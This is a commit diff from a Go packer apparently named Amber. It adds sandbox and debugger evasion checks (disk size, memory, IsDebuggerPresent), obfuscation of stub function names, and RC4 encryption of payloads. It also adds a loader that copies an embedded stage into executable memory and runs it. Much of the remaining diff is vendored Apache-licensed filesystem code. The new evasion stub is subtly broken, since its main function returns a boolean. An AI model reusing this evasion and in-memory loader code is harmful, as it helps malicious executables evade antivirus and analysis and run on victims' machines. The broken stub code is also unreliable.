- Function name obfuscation added

- Anti-Analysis stub added
- FS library localized
This commit is contained in:
EgeBalci
2018-12-09 14:43:33 +03:00
parent 3186023415
commit 21fdbec75c
18 changed files with 761 additions and 126 deletions
+14 -12
View File
@@ -13,10 +13,12 @@ import (
func main() {
runtime.GOMAXPROCS(runtime.NumCPU()) // Run faster !
flag.IntVar(&target.keySize, "k", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
flag.IntVar(&target.keySize, "keysize", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
flag.IntVar(&target.KeySize, "k", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
flag.IntVar(&target.KeySize, "keysize", 8, "Size of the encryption key in bytes (Max:255/Min:8)")
flag.BoolVar(&target.reflective, "r", false, "Generated a reflective payload")
flag.BoolVar(&target.reflective, "reflective", false, "Generated a reflective payload")
flag.BoolVar(&target.AntiAnalysis, "a", false, "Add anti-analysis functions inside stub (Binary size will increase)")
flag.BoolVar(&target.AntiAnalysis, "anti-analysis", false, "Add anti-analysis functions inside stub (Binary size will increase)")
flag.BoolVar(&target.resource, "no-resource", false, "Don't add any resource data")
flag.BoolVar(&target.scrape, "s", false, "Scrape the PE header info (May break some files)")
flag.BoolVar(&target.scrape, "scrape", false, "Scrape the PE header info (May break some files)")
@@ -25,7 +27,7 @@ func main() {
flag.BoolVar(&target.verbose, "v", false, "Verbose output mode")
flag.BoolVar(&target.verbose, "verbose", false, "Verbose output mode")
flag.BoolVar(&target.debug, "debug", false, "Do not clean created files")
flag.BoolVar(&target.ignoreIntegrity, "ignore-integrity", false, "Ignore integrity check errors.")
flag.BoolVar(&target.IgnoreIntegrity, "ignore-integrity", false, "Ignore integrity check errors.")
flag.BoolVar(&target.help, "h", false, "Display this message")
flag.BoolVar(&target.help, "H", false, "Display this message")
flag.Parse()
@@ -36,7 +38,7 @@ func main() {
os.Exit(0)
}
if target.keySize < 8 || target.keySize > 255 {
if target.KeySize < 8 || target.KeySize > 255 {
parseErr(errors.New("invalid key size, key size must be between 8-255"))
}
@@ -44,7 +46,7 @@ func main() {
if len(ARGS) == 0 {
parseErr(errors.New("target file not specified"))
}
target.fileName = ARGS[(len(ARGS) - 1)]
target.FileName = ARGS[(len(ARGS) - 1)]
// Show status
printParams()
@@ -53,23 +55,23 @@ func main() {
// Check dependencies
requirements()
// Setup the working directory
target.workdir = workdir(target.fileName)
target.workdir = workdir(target.FileName)
verbose("Setting up workdirectory at "+target.workdir, "*")
mkdir(target.workdir)
cdir(target.workdir)
// Get the absolute path of the file
abs, absErr := filepath.Abs(ARGS[(len(ARGS) - 1)])
parseErr(absErr)
target.fileName = abs
target.FileName = abs
// Open the input file
verbose("Opening input file...", "*")
file, fileErr := pe.Open(target.fileName)
file, fileErr := pe.Open(target.FileName)
parseErr(fileErr)
analyze(file) // 10 steps
// Assemble the core amber payload
assemble() // 10 steps
if target.reflective {
copyFile(target.workdir+"/stage", target.fileName+".stage") // Incase the file is on different volume
copyFile(target.workdir+"/stage", target.FileName+".stage") // Incase the file is on different volume
} else {
compile() // Compile the amber stub (10 steps)
}
@@ -82,13 +84,13 @@ func main() {
finalSize := ""
if target.reflective == true {
finalSize = fileSize(target.fileName + ".stage")
finalSize = fileSize(target.FileName + ".stage")
} else {
finalSize = fileSize(target.fileName)
finalSize = fileSize(target.FileName)
}
BoldYellow.Print("\n[*] ")
white.Println("Final Size: " + target.fileSize + " -> " + finalSize + " bytes")
white.Println("Final Size: " + target.FileSize + " -> " + finalSize + " bytes")
if target.reflective == true {
BoldGreen.Println("[✔] Reflective stub generated !\n")
} else {
+3 -3
View File
@@ -11,7 +11,7 @@ import (
func analyze(file *pe.File) {
//Do analysis on pe file...
verbose("Analyzing PE file...", "*")
verbose("File Size: "+target.fileSize+" byte", "*")
verbose("File Size: "+target.FileSize+" byte", "*")
verbose("Machine: "+fmt.Sprintf("0x%X", file.FileHeader.Machine), "*")
if file.FileHeader.Machine == 0x14C {
target.arch = "x86"
@@ -55,8 +55,8 @@ func analyze(file *pe.File) {
if (opt.DataDirectory[1].Size) == 0x00 {
parseErr(errors.New("Import table size zero, file has empty import table"))
}
target.fileSize = fileSize(target.fileName)
target.imageBase = opt.ImageBase
target.FileSize = fileSize(target.FileName)
target.ImageBase = opt.ImageBase
target.subsystem = opt.Subsystem
verbose("Subsystem: "+fmt.Sprintf("0x%X", uint64(opt.Subsystem)), "*")
+24 -51
View File
@@ -9,13 +9,19 @@ import (
)
func assemble() {
verbose("Assembling stub...", "*")
// Create static fs
statikFS, err := fs.New()
parseErr(err)
Map, err := mape.CreateFileMapping(target.fileName)
Map, err := mape.CreateFileMapping(target.FileName)
parseErr(err)
err = mape.PerformIntegrityChecks(target.FileName, Map)
if target.IgnoreIntegrity && err != nil {
parseErr(err)
}
mapFile, err := os.Create(target.workdir + "/Mem.map")
parseErr(err)
if target.scrape {
@@ -25,78 +31,45 @@ func assemble() {
}
mapFile.Close()
stubName := ""
apiName := ""
decoderName := ""
stub := ""
api := ""
decoder := ""
if target.arch == "x86" {
if target.aslr == false {
stubName = "/x86/fixed_stub.asm"
stub = "/x86/fixed_stub.asm"
} else {
stubName = "/x86/stub.asm"
stub = "/x86/stub.asm"
}
if target.iat {
apiName = "/x86/api/iat_api.asm"
api = "/x86/api/iat_api.asm"
} else {
apiName = "/x86/api/block_api.asm"
api = "/x86/api/block_api.asm"
}
decoderName = "/x86/RC4.asm"
decoder = "/x86/RC4.asm"
} else {
if target.aslr == false {
stubName = "/x64/fixed_stub.asm"
stub = "/x64/fixed_stub.asm"
} else {
stubName = "/x64/stub.asm"
stub = "/x64/stub.asm"
}
if target.iat {
apiName = "/x64/api/iat_api.asm"
api = "/x64/api/iat_api.asm"
} else {
apiName = "/x64/api/block_api.asm"
api = "/x64/api/block_api.asm"
}
decoderName = "/x64/RC4.asm"
decoder = "/x64/RC4.asm"
}
// Write stub.asm to workdir
stub, err := fs.ReadFile(statikFS, stubName)
parseErr(err)
stubFile, err := os.Create(target.workdir + "/stub.asm")
parseErr(err)
_, err = stubFile.Write(stub)
parseErr(err)
extract(statikFS, stub, "stub.asm")
// Write api.asm to workdir
api, err := fs.ReadFile(statikFS, apiName)
parseErr(err)
apiFile, err := os.Create(target.workdir + "/api.asm")
parseErr(err)
_, err = apiFile.Write(api)
parseErr(err)
extract(statikFS, api, "api.asm")
// Write RC4.asm to workdir
decoder, err := fs.ReadFile(statikFS, decoderName)
parseErr(err)
decoderFile, err := os.Create(target.workdir + "/RC4.asm")
parseErr(err)
_, err = decoderFile.Write(decoder)
parseErr(err)
// Write stub.go to workdir
goStub, err := fs.ReadFile(statikFS, "/stub/stub.go")
parseErr(err)
goStubFile, err := os.Create(target.workdir + "/stub.go")
parseErr(err)
_, err = goStubFile.Write(goStub)
parseErr(err)
if !target.resource {
// Write rsrc.syso to workdir
goResource, err := fs.ReadFile(statikFS, "/stub/rsrc.syso")
parseErr(err)
goResourceFile, err := os.Create(target.workdir + "/rsrc.syso")
parseErr(err)
_, err = goResourceFile.Write(goResource)
parseErr(err)
}
extract(statikFS, decoder, "RC4.asm")
nasm(target.workdir+"/stub.asm", target.workdir+"/payload")
crypt()
+4 -4
View File
@@ -23,7 +23,7 @@ func progress() {
}
func createProgressBar() {
step := 19
step := 35
if target.reflective {
step = step - 5
}
@@ -103,11 +103,11 @@ func print(str string, status string) {
func printParams() {
BoldYellow.Print("\n[*] File: ")
BoldBlue.Println(target.fileName)
BoldBlue.Println(target.FileName)
BoldYellow.Print("[*] Reflective: ")
BoldBlue.Println(target.reflective)
BoldYellow.Print("[*] Key Size: ")
BoldBlue.Println(target.keySize)
BoldBlue.Println(target.KeySize)
BoldYellow.Print("[*] API: ")
if target.iat {
BoldBlue.Println("IAT")
@@ -139,7 +139,7 @@ func requirements() {
func parseErr(err error) {
if err != nil {
fmt.Println("")
fmt.Println("\n")
//clean()
log.Fatal(err)
}
+44 -5
View File
@@ -1,20 +1,47 @@
package main
import (
"io/ioutil"
"os"
"os/exec"
"strings"
"github.com/rakyll/statik/fs"
)
func compile() {
mkdir(target.workdir + "/fs")
mkdir(target.workdir + "/data")
move(target.workdir+"/stage", target.workdir+"/data/stage")
statik("statik", target.workdir+"/data", target.workdir)
id := statik(target.workdir+"/data", target.workdir)
// Create static fs
statikFS, err := fs.New()
parseErr(err)
// Extract virtual fs libraries
extract(statikFS, "/stub/fs/fs.go", "./fs/fs.go")
extract(statikFS, "/stub/fs/walk.go", "./fs/walk.go")
extract(statikFS, "/stub/fs/fs_test.go", "./fs/fs_test.go")
// Write stub.go to workdir
if target.AntiAnalysis {
extract(statikFS, "/stub/bypass_stub.go", "stub.go")
} else {
extract(statikFS, "/stub/stub.go", "stub.go")
}
if !target.resource {
// Write rsrc.syso to workdir
extract(statikFS, "/stub/rsrc.syso", "rsrc.syso")
}
ldflags := `-ldflags=-s`
if target.subsystem == 0x02 {
ldflags = `-ldflags="-s -H windowsgui"`
}
build := exec.Command("go", "build", "-buildmode=exe", ldflags, "-o", target.fileName, ".")
build := exec.Command("go", "build", "-buildmode=exe", ldflags, "-o", target.FileName, ".")
build.Env = os.Environ()
build.Env = append(build.Env, "GOOS=windows")
if target.arch == "x86" {
@@ -22,11 +49,23 @@ func compile() {
} else {
build.Env = append(build.Env, "GOARCH=amd64")
}
obfuscateFunctionNames(id)
verbose("Compiling go stub...", "*")
build.Stderr = os.Stderr
build.Stdout = os.Stdout
err := build.Run()
err = build.Run()
parseErr(err)
defer progress()
}
func obfuscateFunctionNames(id string) {
verbose("Obfuscating function names...", "*")
file, err := os.OpenFile(target.workdir+"/stub.go", os.O_WRONLY, os.ModeDevice)
parseErr(err)
rawFile, err := ioutil.ReadFile(target.workdir + "/stub.go")
parseErr(err)
stub := strings.Replace(string(rawFile), "{{statik}}", id, -1)
_, err = file.Write([]byte(stub))
parseErr(err)
defer progress()
}
@@ -35,7 +74,7 @@ func compile() {
// file, err := pe.Open(fileName)
// parseErr(err)
// opt := mape.ConvertOptionalHeader(file)
// if target.imageBase != opt.ImageBase {
// if target.ImageBase != opt.ImageBase {
// rawFile, err := ioutil.ReadFile(fileName)
// parseErr(err)
// nt := int(rawFile[0x3c])
+72
View File
@@ -0,0 +1,72 @@
package main
import (
"syscall"
"unsafe"
statik "./statik"
"./fs"
)
func main() {
type MEMORYSTATUSEX struct {
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
ullTotalPageFile uint64
ullAvailPageFile uint64
ullTotalVirtual uint64
ullAvailVirtual uint64
ullAvailExtendedVirtual uint64
}
var kernel32, _ = syscall.LoadLibrary("kernel32.dll")
var globalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
var getDiskFreeSpaceEx = kernel32.NewProc("GetDiskFreeSpaceExW")
var IsDebuggerPresent, _ = syscall.GetProcAddress(kernel32, "IsDebuggerPresent")
// Check debugger
var nargs uintptr = 0
debuggerPresent, _, _ := syscall.Syscall(uintptr(IsDebuggerPresent), nargs, 0, 0, 0)
if debuggerPresent != 0 {
return false
}
// Check freee disks space (50G min)
lpFreeBytesAvailable := int64(0)
lpTotalNumberOfBytes := int64(0)
lpTotalNumberOfFreeBytes := int64(0)
getDiskFreeSpaceEx.Call(
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),
uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)))
diskSizeGB := float32(lpTotalNumberOfBytes) / 1073741824
if diskSizeGB < float32(50.0) {
return false
}
// Check memory
var memInfo MEMORYSTATUSEX
memInfo.dwLength = uint32(unsafe.Sizeof(memInfo))
globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&memInfo)))
if memInfo.ullTotalPhys/1073741824 < 1 {
return false
}
// Detect sleep acceleration
// Check CPU cores
statik.{{statik}}()
VirtualAlloc := syscall.MustLoadDLL("kernel32.dll").MustFindProc("VirtualAlloc")
memcpy := syscall.MustLoadDLL("msvcrt.dll").MustFindProc("memcpy")
statikFS, _ := fs.New()
data, _ := fs.ReadFile(statikFS, "/stage")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(data)), 0x1000|0x2000, 0x40)
_, _, _ = memcpy.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
+172
View File
@@ -0,0 +1,172 @@
// Copyright 2014 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Package fs contains an HTTP file system that works with zip contents.
package fs
import (
"archive/zip"
"bytes"
"errors"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"path"
"strings"
"time"
)
var zipData string
// file holds unzipped read-only file contents and file metadata.
type file struct {
os.FileInfo
data []byte
fs *statikFS
}
type statikFS struct {
files map[string]file
}
// Register registers zip contents data, later used to initialize
// the statik file system.
func Register(data string) {
zipData = data
}
// New creates a new file system with the registered zip contents data.
// It unzips all files and stores them in an in-memory map.
func New() (http.FileSystem, error) {
if zipData == "" {
return nil, errors.New("statik/fs: no zip data registered")
}
zipReader, err := zip.NewReader(strings.NewReader(zipData), int64(len(zipData)))
if err != nil {
return nil, err
}
files := make(map[string]file, len(zipReader.File))
fs := &statikFS{files: files}
for _, zipFile := range zipReader.File {
fi := zipFile.FileInfo()
f := file{FileInfo: fi, fs: fs}
f.data, err = unzip(zipFile)
if err != nil {
return nil, fmt.Errorf("statik/fs: error unzipping file %q: %s", zipFile.Name, err)
}
files["/"+zipFile.Name] = f
}
for fn := range files {
dn := path.Dir(fn)
if _, ok := files[dn]; !ok {
files[dn] = file{FileInfo: dirInfo{dn}, fs: fs}
}
}
return fs, nil
}
var _ = os.FileInfo(dirInfo{})
type dirInfo struct {
name string
}
func (di dirInfo) Name() string { return di.name }
func (di dirInfo) Size() int64 { return 0 }
func (di dirInfo) Mode() os.FileMode { return 0755 | os.ModeDir }
func (di dirInfo) ModTime() time.Time { return time.Time{} }
func (di dirInfo) IsDir() bool { return true }
func (di dirInfo) Sys() interface{} { return nil }
func unzip(zf *zip.File) ([]byte, error) {
rc, err := zf.Open()
if err != nil {
return nil, err
}
defer rc.Close()
return ioutil.ReadAll(rc)
}
// Open returns a file matching the given file name, or os.ErrNotExists if
// no file matching the given file name is found in the archive.
// If a directory is requested, Open returns the file named "index.html"
// in the requested directory, if that file exists.
func (fs *statikFS) Open(name string) (http.File, error) {
name = strings.Replace(name, "//", "/", -1)
if f, ok := fs.files[name]; ok {
return newHTTPFile(f), nil
}
return nil, os.ErrNotExist
}
func newHTTPFile(file file) *httpFile {
if file.IsDir() {
return &httpFile{file: file, isDir: true}
}
return &httpFile{file: file, reader: bytes.NewReader(file.data)}
}
// httpFile represents an HTTP file and acts as a bridge
// between file and http.File.
type httpFile struct {
file
reader *bytes.Reader
isDir bool
}
// Read reads bytes into p, returns the number of read bytes.
func (f *httpFile) Read(p []byte) (n int, err error) {
if f.reader == nil && f.isDir {
return 0, io.EOF
}
return f.reader.Read(p)
}
// Seek seeks to the offset.
func (f *httpFile) Seek(offset int64, whence int) (ret int64, err error) {
return f.reader.Seek(offset, whence)
}
// Stat stats the file.
func (f *httpFile) Stat() (os.FileInfo, error) {
return f, nil
}
// IsDir returns true if the file location represents a directory.
func (f *httpFile) IsDir() bool {
return f.isDir
}
// Readdir returns an empty slice of files, directory
// listing is disabled.
func (f *httpFile) Readdir(count int) ([]os.FileInfo, error) {
var fis []os.FileInfo
if !f.isDir {
return fis, nil
}
prefix := f.Name()
for fn, f := range f.file.fs.files {
if strings.HasPrefix(fn, prefix) && len(fn) > len(prefix) {
fis = append(fis, f.FileInfo)
}
}
return fis, nil
}
func (f *httpFile) Close() error {
return nil
}
+284
View File
@@ -0,0 +1,284 @@
// Copyright 2014 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package fs
import (
"archive/zip"
"bytes"
"io/ioutil"
"os"
"path/filepath"
"reflect"
"strings"
"sync"
"testing"
"time"
)
type wantFile struct {
data []byte
isDir bool
modTime time.Time
mode os.FileMode
name string
size int64
err error
}
func TestOpen(t *testing.T) {
fileTxtHeader := mustFileHeader("../testdata/file/file.txt")
pixelGifHeader := mustFileHeader("../testdata/image/pixel.gif")
indexHTMLHeader := mustFileHeader("../testdata/index/index.html")
subdirIndexHTMLHeader := mustFileHeader("../testdata/index/sub_dir/index.html")
tests := []struct {
description string
zipData string
wantFiles map[string]wantFile
}{
{
description: "Files should retain their original file mode and modified time",
zipData: mustZipTree("../testdata/file"),
wantFiles: map[string]wantFile{
"/file.txt": {
data: mustReadFile("../testdata/file/file.txt"),
isDir: false,
modTime: fileTxtHeader.ModTime(),
mode: fileTxtHeader.Mode(),
name: fileTxtHeader.Name,
size: int64(fileTxtHeader.UncompressedSize64),
},
},
},
{
description: "Images should successfully unpack",
zipData: mustZipTree("../testdata/image"),
wantFiles: map[string]wantFile{
"/pixel.gif": {
data: mustReadFile("../testdata/image/pixel.gif"),
isDir: false,
modTime: pixelGifHeader.ModTime(),
mode: pixelGifHeader.Mode(),
name: pixelGifHeader.Name,
size: int64(pixelGifHeader.UncompressedSize64),
},
},
},
{
description: "'index.html' files should be returned at their original path and their directory path",
zipData: mustZipTree("../testdata/index"),
wantFiles: map[string]wantFile{
"/index.html": {
data: mustReadFile("../testdata/index/index.html"),
isDir: false,
modTime: indexHTMLHeader.ModTime(),
mode: indexHTMLHeader.Mode(),
name: indexHTMLHeader.Name,
size: int64(indexHTMLHeader.UncompressedSize64),
},
"/sub_dir/index.html": {
data: mustReadFile("../testdata/index/sub_dir/index.html"),
isDir: false,
modTime: subdirIndexHTMLHeader.ModTime(),
mode: subdirIndexHTMLHeader.Mode(),
name: subdirIndexHTMLHeader.Name,
size: int64(subdirIndexHTMLHeader.UncompressedSize64),
},
"/": {
isDir: true,
mode: os.ModeDir | 0755,
name: "/",
},
"/sub_dir": {
isDir: true,
mode: os.ModeDir | 0755,
name: "/sub_dir",
},
},
},
{
description: "Missing files should return os.ErrNotExist",
zipData: mustZipTree("../testdata/file"),
wantFiles: map[string]wantFile{
"/missing.txt": {
err: os.ErrNotExist,
},
},
},
}
for _, tc := range tests {
t.Run(tc.description, func(t *testing.T) {
Register(tc.zipData)
fs, err := New()
if err != nil {
t.Errorf("New() = %v", err)
return
}
for name, wantFile := range tc.wantFiles {
f, err := fs.Open(name)
if wantFile.err != err {
t.Errorf("fs.Open(%v) = %v; want %v", name, err, wantFile.err)
}
if err != nil {
continue
}
if !wantFile.isDir {
b, err := ioutil.ReadAll(f)
if err != nil {
t.Errorf("ioutil.ReadAll(%v) = %v", name, err)
continue
}
if !reflect.DeepEqual(wantFile.data, b) {
t.Errorf("%v data = %q; want %q", name, b, wantFile.data)
}
}
stat, err := f.Stat()
if err != nil {
t.Errorf("Stat(%v) = %v", name, err)
}
if got, want := stat.IsDir(), wantFile.isDir; got != want {
t.Errorf("IsDir(%v) = %t; want %t", name, got, want)
}
if got, want := stat.ModTime(), wantFile.modTime; got != want {
t.Errorf("ModTime(%v) = %v; want %v", name, got, want)
}
if got, want := stat.Mode(), wantFile.mode; got != want {
t.Errorf("Mode(%v) = %v; want %v", name, got, want)
}
if got, want := stat.Name(), wantFile.name; got != want {
t.Errorf("Name(%v) = %v; want %v", name, got, want)
}
if got, want := stat.Size(), wantFile.size; got != want {
t.Errorf("Size(%v) = %v; want %v", name, got, want)
}
}
})
}
}
// Test that calling Open by many goroutines concurrently continues
// to return the expected result.
func TestOpen_Parallel(t *testing.T) {
indexHTMLData := mustReadFile("../testdata/index/index.html")
Register(mustZipTree("../testdata/index"))
fs, err := New()
if err != nil {
t.Fatalf("New() = %v", err)
}
wg := sync.WaitGroup{}
for i := 0; i < 128; i++ {
wg.Add(1)
go func() {
defer wg.Done()
name := "/index.html"
f, err := fs.Open(name)
if err != nil {
t.Errorf("fs.Open(%v) = %v", name, err)
return
}
b, err := ioutil.ReadAll(f)
if err != nil {
t.Errorf("ioutil.ReadAll(%v) = %v", name, err)
return
}
if !reflect.DeepEqual(indexHTMLData, b) {
t.Errorf("%v data = %q; want %q", name, b, indexHTMLData)
}
}()
}
wg.Wait()
}
func BenchmarkOpen(b *testing.B) {
Register(mustZipTree("../testdata/index"))
fs, err := New()
if err != nil {
b.Fatalf("New() = %v", err)
}
b.RunParallel(func(pb *testing.PB) {
for pb.Next() {
name := "/index.html"
_, err := fs.Open(name)
if err != nil {
b.Errorf("fs.Open(%v) = %v", name, err)
}
}
})
}
// mustZipTree walks on the source path and returns the zipped file contents
// as a string. Panics on any errors.
func mustZipTree(srcPath string) string {
var out bytes.Buffer
w := zip.NewWriter(&out)
if err := filepath.Walk(srcPath, func(path string, fi os.FileInfo, err error) error {
if err != nil {
return err
}
// Ignore directories and hidden files.
// No entry is needed for directories in a zip file.
// Each file is represented with a path, no directory
// entities are required to build the hierarchy.
if fi.IsDir() || strings.HasPrefix(fi.Name(), ".") {
return nil
}
relPath, err := filepath.Rel(srcPath, path)
if err != nil {
return err
}
b, err := ioutil.ReadFile(path)
if err != nil {
return err
}
fHeader, err := zip.FileInfoHeader(fi)
if err != nil {
return err
}
fHeader.Name = filepath.ToSlash(relPath)
fHeader.Method = zip.Deflate
f, err := w.CreateHeader(fHeader)
if err != nil {
return err
}
_, err = f.Write(b)
return err
}); err != nil {
panic(err)
}
if err := w.Close(); err != nil {
panic(err)
}
return string(out.Bytes())
}
// mustReadFile returns the file contents. Panics on any errors.
func mustReadFile(filename string) []byte {
b, err := ioutil.ReadFile(filename)
if err != nil {
panic(err)
}
return b
}
// mustFileHeader returns the zip file info header. Panics on any errors.
func mustFileHeader(filename string) *zip.FileHeader {
info, err := os.Stat(filename)
if err != nil {
panic(err)
}
header, err := zip.FileInfoHeader(info)
if err != nil {
panic(err)
}
return header
}
+79
View File
@@ -0,0 +1,79 @@
// Copyright 2014 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package fs
import (
"bytes"
"io"
"net/http"
"path"
"path/filepath"
)
// Walk walks the file tree rooted at root,
// calling walkFn for each file or directory in the tree, including root.
// All errors that arise visiting files and directories are filtered by walkFn.
//
// As with filepath.Walk, if the walkFn returns filepath.SkipDir, then the directory is skipped.
func Walk(hfs http.FileSystem, root string, walkFn filepath.WalkFunc) error {
dh, err := hfs.Open(root)
if err != nil {
return err
}
di, err := dh.Stat()
if err != nil {
return err
}
fis, err := dh.Readdir(-1)
dh.Close()
if err = walkFn(root, di, err); err != nil {
if err == filepath.SkipDir {
return nil
}
return err
}
for _, fi := range fis {
fn := path.Join(root, fi.Name())
if fi.IsDir() {
if err = Walk(hfs, fn, walkFn); err != nil {
if err == filepath.SkipDir {
continue
}
return err
}
continue
}
if err = walkFn(fn, fi, nil); err != nil {
if err == filepath.SkipDir {
continue
}
return err
}
}
return nil
}
// ReadFile reads the contents of the file of hfs specified by name.
// Just as ioutil.ReadFile does.
func ReadFile(hfs http.FileSystem, name string) ([]byte, error) {
fh, err := hfs.Open(name)
if err != nil {
return nil, err
}
var buf bytes.Buffer
_, err = io.Copy(&buf, fh)
fh.Close()
return buf.Bytes(), err
}
+2 -9
View File
@@ -5,15 +5,12 @@ import (
"unsafe"
statik "./statik"
"github.com/rakyll/statik/fs"
"./fs"
)
func main() {
if bypass() {
statik.OpenSesame()
}
statik.{{statik}}()
VirtualAlloc := syscall.MustLoadDLL("kernel32.dll").MustFindProc("VirtualAlloc")
memcpy := syscall.MustLoadDLL("msvcrt.dll").MustFindProc("memcpy")
statikFS, _ := fs.New()
@@ -22,7 +19,3 @@ func main() {
_, _, _ = memcpy.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
func bypass() bool {
return true
}
+7 -9
View File
@@ -36,9 +36,8 @@ start: ;
mov rcx,rbx ; lpAddress
mov r10d,0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" )
call rbp ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
test rax,rax ; Check success
jz end ; If VirtualAlloc fails don't bother :/
add rsp,0x20 ; Clear stack
pop rdi ; Clear stack
pop rdi ; ...
mov rdi,rax ; Save the new base address to rdi
;#- resolve.asm --------------------------------
@@ -98,7 +97,8 @@ LoadLibraryA:
mov rcx,rax ; Move the address of library name string to RCX
mov r10d,0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA(RCX)
add rsp,32 ; Fix the stack
pop rcx ; Fix the stack
pop rcx ; ...
pop rcx ; Retreive ecx
ret ; <-
GetProcAddress:
@@ -106,7 +106,8 @@ GetProcAddress:
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
call rbp ; GetProcAddress(RCX,RDX)
add rsp,32 ; Retrieve ecx
pop rdx ; Retrieve ecx
pop rdx ; ...
ret ; <-
complete:
pop rax ; Clean out the stack
@@ -131,7 +132,4 @@ memcpy:
loop memcpy ; Loop until zero
push rdi ; Push the new image base to stack
add [rsp],r12 ; Add the address of entry
ret ; <-
fail:
add rsp,0x20 ; Clean stack
ret ; <-
ret ; <-
+5 -4
View File
@@ -35,8 +35,6 @@ start: ;
mov ecx,dword 0x00 ; lpAddress
mov r10d,0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call rbp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
test rax,rax ; Check success
jz end ; If VirtualAlloc fails don't bother :/
add rsp,0x20 ; Clear stack
mov rdi,rax ; Save the new base address to rdi
@@ -85,6 +83,7 @@ pass:
reloc_fin: ; All done !
;#- resolve.asm --------------------------------
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
; STACK[0] = &_IMPORT_DESCRIPTOR
; R13 = Module HANDLE
; R14 = &IAT
@@ -141,7 +140,8 @@ LoadLibraryA:
mov rcx,rax ; Move the address of library name string to RCX
mov r10d,0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA([esp+4])
add rsp,32 ; Fix the stack
pop rcx ; Fix the stack
pop rcx ; ...
pop rcx ; Retreive ecx
ret ; <-
GetProcAddress:
@@ -149,7 +149,8 @@ GetProcAddress:
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
call rbp ; GetProcAddress(ebx,[esp+4])
add rsp,32 ; Retrieve ecx
pop rcx ; Retrieve ecx
pop rcx ; ...
ret ; <-
complete:
pop rax ; Clean out the stack
+2 -1
View File
@@ -92,7 +92,8 @@ insert_iat:
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
add esp,0x08 ; Deallocate index values
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
+4 -3
View File
@@ -83,8 +83,8 @@ pass:
xor edx,edx ; Zero out edx
jmp fix ; Loop
reloc_fin:
add esp,0x08 ; Deallocate all vars
pop eax ; Deallocate all vars
pop eax ; ...
;#- resolve.asm ------------------------------
; ESI = &PE
; EBX = HANDLE(module)
@@ -140,7 +140,8 @@ insert_iat:
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
add esp,0x08 ; Deallocate index values
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
+12 -2
View File
@@ -14,8 +14,8 @@ func crypt() {
verbose("Ciphering payload...", "*")
key := GenerateKey(target.keySize)
if target.keySize != len(key) {
key := GenerateKey(target.KeySize)
if target.KeySize != len(key) {
verbose(string("Key size rounded to "+strconv.Itoa(len(key))), "*")
}
payload, err := ioutil.ReadFile(target.workdir + "/payload")
@@ -86,3 +86,13 @@ func GenerateKey(Size int) []byte {
defer progress()
return Key
}
// RandomString .
func RandomString(length int) string {
charset := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b := make([]byte, length)
for i := range b {
b[i] = charset[rand.New(rand.NewSource(time.Now().UnixNano())).Intn(len(charset))]
}
return string(b)
}
+26 -15
View File
@@ -7,15 +7,14 @@ import (
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"path"
"path/filepath"
"strings"
"time"
)
const (
nameSourceFile = "payload.go"
"github.com/rakyll/statik/fs"
)
var namePackage string = "statik"
@@ -24,14 +23,26 @@ var namePackage string = "statik"
// flagNoMtime is set.
